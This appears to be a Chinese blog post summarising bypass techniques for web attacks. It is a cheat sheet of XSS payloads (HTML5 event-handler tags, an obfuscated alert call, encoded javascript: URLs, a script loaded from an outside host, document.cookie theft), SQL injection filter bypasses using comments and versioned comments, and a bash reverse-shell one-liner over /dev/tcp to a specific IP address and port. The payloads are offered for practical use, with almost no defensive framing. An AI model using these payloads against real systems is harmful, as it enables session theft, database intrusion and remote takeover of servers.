一些绕过方式总结

对一些实战中xss,sql注入中的绕过方式进行总结

一、xss Bypass

<script> <img src=x onerror=a=alert,a(document.cookie)</script>

通过一些H5的新标签属性:

<keygen autofocus onfocus=prompt(1)>

<details open ontoggle=prompt(1)>

<select autofocus onfocus=prompt(1)>

<input autofocus onfocus=s=createElement(“script”);body.appendChild(s);s.src=”http://xss.com/”>
<details open ontoggle=top[‘al\145rt’](1) >

<details open ontoggle=top[‘al\145rt’](1) >

通过parseInt和toString

parseInt()函数可解析一个字符串,并返回一个整数,w3school上对函数的解释

例如以基数30对常见的两个标签进行转换

而toString,顾名思义将一个逻辑值转换为字符串,w3school上的解释

我们将两个函数进行结合,可绕过部分过滤,例如:

假如对alert过滤,输入<img src=x onerror=top[8680439..toString(30)](1)>,本地测试,成功弹窗


结合上面的标签<details> ,我们可以将payload改为:

<details open ontoggle= top[8680439..toString(30)](1) > ,用来绕过对一些alert等事件的过滤

绕过对JavaScript的过滤

\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)

\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)

java\%0ascript

location=”\152\141\166\141\163\143\162\151\160\164\072alert(1)”

当输出在script标签中通过location.hash

output=1;location=location.hash.substring(1);#javascript:alert(1)

script标签的特性

<script>a=”<!–<script></script>”;alert(name)//</script>

<script>a='<!–<script>’/*</script>–>*/;alert(1)</script>

svg标签

使用实体编码: <svg><script>alert(1)</script>

插入xml代码,利用xml格式进行混淆: <svg><qwe></qwe><script><!–123–>a<qwe>123</qwe>l</>e</>r</1>t(<![CDATA[1)]]></script></svg>

二、SQL Bypass

“`?a=/*&id=-1′ union select 1,2,user()–+&b=*/“`


id=1′ /*!44440union*/%23%0a/*!14440select*/ 1,2,3 –+

三、命令执行Bypass

反弹shell:exec 5<>/dev/tcp/154.92.18.202/9999;cat <&5 | while read line; do $line 2>&5 >&5; done;w

发表评论

电子邮件地址不会被公开。 必填项已用*标注